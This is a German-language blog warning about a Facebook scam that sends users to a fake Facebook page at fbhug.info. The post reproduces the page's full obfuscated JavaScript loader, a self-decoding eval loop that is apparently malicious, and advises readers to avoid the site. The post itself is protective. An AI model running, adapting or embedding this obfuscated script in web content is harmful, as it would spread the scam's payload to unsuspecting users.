Arcadewelten.eu

In Facebook ist mal wieder etwas unterwegs ein angeblich neues video was sich so anpreist : "LOL - wtf you doing in this video?"
Hier einmal ein screenshot davon :

Klickt man dort drauf landet man auf der Seite fbhug.info

dort begruesst einem folgende Grafik :

Es sieht schon sehr nach einer facebook Seite aus, aber schaut man sich die Grafiken genauer an erkennt man das einiges sehr verpixelt ist und nicht wirklich mehr facebook ist, aber erschreckent sollte dann doch schon der quellcode der Seite sein die ein verschluesselltes Java Script laed bzw. ausfuehrt :

var x="function f(x){var i,o=\"\",l=x.length;for(i=0;ii0=i;--{)+ox=c.ahAr(t)i};erutnro s.buts(r,0lo;)f}\\" +
"\"(6)10\\\\,E\\\"16\\\\0%\\\\$'\\\"\\\\\\\\\\\\*>Wn\\\\\\\\\\\\\\\\QEB/BPZ|" +
"\\\"\\\\\\\\\\\\\\\\n\\\\\\\"L\\\\sB^h\\\\r\\\\\\\"6\\\\03\\\\\\\\Rp^t0 02\\"+
"\\\\\\lb{R\\\"\\\\\\\\\\\\0 02\\\\\\\\lb=Rp%26\\\\0N\\\\e0ge5h03\\\\\\\\21\\"+
"\\0q\\\\hh.k32\\\\0W\\\\lh-`D/jNnz %6C03\\\\\\\\apvo5a03\\\\\\\\rQq dm20\\\\"+
"0W\\\\.il&\\\\\\\\\\\\\\\\14\\\\0b\\\\kenu3e00\\\\\\\\36\\\\0>\\\\Z`\\\\p\\" +
"\\\\\\^\\\\BPZ|(+14\\\\0[\\\\gs\\\\r\\\\\\\" \\\\P^|ByZ2)03\\\\\\\\m[ja.a\\" +
"\\tQ\\\\`zuo7_00\\\\\\\\>S;3\\\"\\\\\\\\\\\\re\\\\\\\\7R17\\\\\\\\.hid6^03\\"+
"\\\\\\Rp^t0 02\\\\\\\\lb}R\\\"\\\\\\\\\\\\V)p]`{k]35\\\\0[\\\\mvl&7o02\\\\\\"+
"\\}Js` dP^|B\\\\Z\\\\\\\"n\\\\\\\"\\\\\\\\\\\\BL&s\\\\l\\\\\\\\4\\\\01\\\\\\"+
"\\cb&.\\\\l\\\\\\\\4\\\\01\\\\\\\\%b6'026O03\\\\\\\\.2^$V)p]`{k]35\\\\0[\\\\"+
"mv^$V kJcaioJ*}{\\\\&\\\\\\\"n\\\\\\\"\\\\\\\\\\\\BL/u 03C00\\\\\\\\w>*r7f0" +
"2\\\\\\\\36\\\\0p\\\\tR{^6W02\\\\\\\\klkk^tqPrgna13\\\\0X\\\\`>pZ\\\\\\\\\\" +
"\\\\\\P^|B7Z17\\\\\\\\\\\\n\\\\\\\"L\\\\5B*/3r03\\\\\\\\wS&z\\\"\\\\\\\\\\\\"+
"\\\\n\\\\\\\"L\\\\5B*/3s01\\\\\\\\q](hou32\\\\0P\\\\yw{Y^mBPZ|)916\\\\0Q\\\\"+
"yj.&0t03\\\\\\\\r[.yTm33\\\\0H\\\\cqu(2o03\\\\\\\\wPYym{6^03\\\\\\\\Rp^t3d0" +
"3\\\\\\\\qLa` k33\\\\0L\\\\77\\\\1.\\\\mv^tpZ&ofv33\\\\0R\\\\k>cu^cwPr.uq64" +
"03\\\\\\\\!1\\\\&\\\\\\\"n\\\\\\\"\\\\\\\\\\\\BL/5206O03\\\\\\\\>2341(02\\\\"+
"\\\\{joteq14\\\\00\\\\02\\\\\\\\ailbti\\\\\\\\ga)c -P^|B\\\\Z\\\\\\\"n\\\\\\"+
"\"\\\\\\\\\\\\BL/5 jIRa6gR7z02\\\\\\\\{M(|ou32\\\\0P\\\\yw{Y^mBPZ|ef14\\\\0" +
"Q\\\\ip\\\\o\\\\\\\"e\\\\14\\\\0_\\\\z>en3i03\\\\\\\\>Vhj c26\\\\0J\\\\gz\\" +
"\\q\\\\\\\"e\\\\\\\\r_\\\\.}khn \\\\\\\\kM&D/-6^03\\\\\\\\Rp^tW;r[glix\\\\r" +
"[\\\\.l\\\\-\\\\\\\"'\\\\[Clrxgri\\\\\\\\l[*. %6U03\\\\\\\\`yno1l02\\\\\\\\" +
"}L&} )3Y00\\\\\\\\|m`g2l02\\\\\\\\lQum\\\"\\\\\\\\\\\\1,02\\\\\\\\#Pg|l`21\\"+
"\\0Q\\\\.jm*CnkMgzsv6Y03\\\\\\\\.>l&\\\\\\\\\\\\\\\\14\\\\0b\\\\.5\\\\!\\\\" +
"\\\",\\\\21\\\\0P\\\\|#`g0u02\\\\\\\\s[*.nmPCgqcr1c02\\\\\\\\9R&.\\\"\\\\\\" +
"\\\\\\0 02\\\\\\\\lb-R\\\"\\\\\\\\\\\\^'22\\\\09\\\\-.\\\"\\\\\\\\\\\\1p02\\"+
"\\\\\\iJ-.\\\"\\\\\\\\\\\\C'qN&z'.5^02\\\\\\\\z>g`tl\\\\\\\\36\\\\05\\\\!.t" +
"?30\\\\0[\\\\)r\\\\&\\\\\\\" \\\\P^|B)ZY 36\\\\02\\\\&) )26\\\\06\\\\03\\\\" +
"\\\\.5?!6t02\\\\\\\\wYnk\\\"\\\\\\\\\\\\Y,36\\\\05\\\\q.\\\"\\\\\\\\\\\\^+3" +
"1\\\\0#\\\\rfif\\\\t1\\\\03\\\\\\\\.>\\\\&\\\\\\\"n\\\\\\\"\\\\\\\\\\\\BL\\" +
"\"\\\\\\\\\\\\oc0a02\\\\\\\\36\\\\0>\\\\&.\\\\l\\\\\\\\4\\\\01\\\\\\\\2btb(" +
"w20\\\\0[\\\\anu(2o03\\\\\\\\wP&y ?\\\\tQ\\\\`zuo7_00\\\\\\\\>S&.\\\\l\\\\\\"+
"\\4\\\\01\\\\\\\\cb&.\\\\l\\\\\\\\4\\\\01\\\\\\\\%b&> ?16\\\\0Q\\\\yj\\\\&\\"+
"\\\\\" \\\\P^|B9Z6t02\\\\\\\\wYnkn,33\\\\0[\\\\ml\\\\u\\\\\\\"=\\\\V^.>\\\\" +
"&\\\\\\\"n\\\\\\\"\\\\\\\\\\\\BL&u0+2^00\\\\\\\\~>viVw36\\\\0x\\\\&g\\\"\\\\"+
"\\\\\\\\\\\\n\\\\\\\"L\\\\sB\\\\&\\\\\\\"n\\\\\\\"\\\\\\\\\\\\BL65\\\"\\\\\\"+
"\\\\\\^=xJjk u6^03\\\\\\\\`>pZ\\\\\\\\\\\\\\\\VEjjuo0.02\\\\\\\\{[e| q6C03\\"+
"\\\\\\.i\\\\&\\\\\\\" \\\\20\\\\0b\\\\Rl\\\\}\\\\\\\")\\\\6N03\\\\\\\\\\\"\\"+
"\\\\\\\\\\r.ed22\\\\0I\\\\.6k`^ BPZ|.+26\\\\0Y\\\\akmtnh\\\\\\\\36\\\\0{\\\\"+
"&l'q\\\\n[\\\\.rwr^b22\\\\0m\\\\&{op30\\\\06\\\\03\\\\\\\\gmvn6 00\\\\\\\\x" +
"Wu.ep\\\\rI\\\\|q\\\\d\\\\\\\"r\\\\33\\\\0I\\\\@{\\\\.\\\\\\\"/\\\\6Q03\\\\" +
"\\\\`>pZ\\\\\\\\\\\\\\\\JP77\\\\1f\\\\\\\\r\\\\\\\"x\\\\27\\\\0x\\\\ >gh4e0" +
"1\\\\\\\\m]c.tjP^77\\\\1f\\\\\\\\r\\\\\\\"r\\\\33\\\\0Z\\\\ywp&^o{Ptksa30\\" +
"\\0X\\\\.q77\\\\1n\\\\7l03\\\\\\\\jWg| r1Q02\\\\\\\\.>^h\\\\r\\\\\\\"M\\\\." +
"wcrnh\\\\\\\\36\\\\0i\\\\bail\\\\t6\\\\03\\\\\\\\77\\\\1.\\\\mq2l02\\\\\\\\" +
">_nzie23\\\\06\\\\03\\\\\\\\|mqc1w02\\\\\\\\|Lb.onL^f{mr2 03\\\\\\\\7P17\\\\"+
"\\\\3.IG1^02\\\\\\\\.1l&\\\\\\\\\\\\\\\\14\\\\0b\\\\<%-&W >V&#hv31\\\\0W\\\\"+
"f{l(3e03\\\\\\\\}L.}\\\"\\\\\\\\\\\\^=qNqz\\\"\\\\\\\\\\\\0 02\\\\\\\\lb=R " +
"06Q03\\\\\\\\y7/&6 02\\\\\\\\zJqgn,33\\\\0[\\\\ml*uC 36\\\\0j\\\\chwn6^03\\" +
"\\\\\\Rp^tH;07\\\\0>\\\\-3\\\"\\\\\\\\\\\\^h36\\\\0p\\\\tR;^rL\\\\\\\\3>\\\\"+
"-\\\\\\\"w\\\\6^03\\\\\\\\Rp^tr.\\\\\\\\{Lq}rm34\\\\06\\\\03\\\\\\\\.8ou1r0" +
"2\\\\\\\\jXjo r22\\\\0R\\\\77\\\\1.\\\\mh2 02\\\\\\\\{R&yri21\\\\0I\\\\k>gu" +
"nh\\\\\\\\36\\\\0m\\\\uztgG^.sKhQ 21\\\\0>\\\\h.r^\\\"\\\\\\\\\\\\20\\\\0{\\"+
"\\gmsrP^gqcr1r02\\\\\\\\{]&jou32\\\\0P\\\\ywp&0o03\\\\\\\\36\\\\0m\\\\i|cv3" +
"7\\\\0X\\\\k>fa8u36\\\\01\\\\&!\\\"\\\\\\\\\\\\\\\\n\\\\\\\"L\\\\uB^h\\\\r\\"+
"\\\\\"7\\\\02\\\\\\\\b{cd7z02\\\\\\\\{M&|g.20\\\\0W\\\\brpirc\\\\\\\\P]23\\" +
"\\0Z\\\\7U01\\\\\\\\ZW20\\\\01\\\\03\\\\\\\\22\\\\04\\\\03\\\\\\\\\\\\Q\\\\" +
"\\\\3\\\\00\\\\\\\\34\\\\00\\\\03\\\\\\\\YD04\\\\04\\\\01\\\\\\\\30\\\\00\\" +
"\\01\\\\\\\\21\\\\0E\\\\\\\\n4\\\\01\\\\\\\\13\\\\05\\\\02\\\\\\\\03\\\\01\\"+
"\\;+7200\\\\\\\\5(00\\\\\\\\9x\\\\n'\\\\10\\\\0h\\\\=>!%pn03\\\\\\\\wI0;(3<.w?:8'=?1)%#n20\\" +
"\\09\\\\26\\\\0'\\\\24\\\\05\\\\32\\\\0~\\\\ct77\\\\1a\\\\K936\\\\0O\\\\M]e" +
"TkJ26\\\\03\\\\01\\\\\\\\26\\\\0o\\\\AF]Y^M]MCK07\\\\0S\\\\@^1P00\\\\\\\\4~" +
"03\\\\\\\\oEig9((iif){++;i "\\\",o iar{vy)x,f(n ioctun\\\"f)\")" ;
while(x=eval(x));
//-->
//]]>


Hier der der gesamte Quellcode der Seite : zum DOWNLOAD

Die Webseite wird von unserem Malware_dialerdomains Adblock Filter natuerlich nun blockiert eben so wie durch das WOT tool und unserem FirefoxsafeEditionPortable

Wie immer macht trotzdem einen Grossen Bogen um diese Seite oder aehnliche pinnwand eintraege !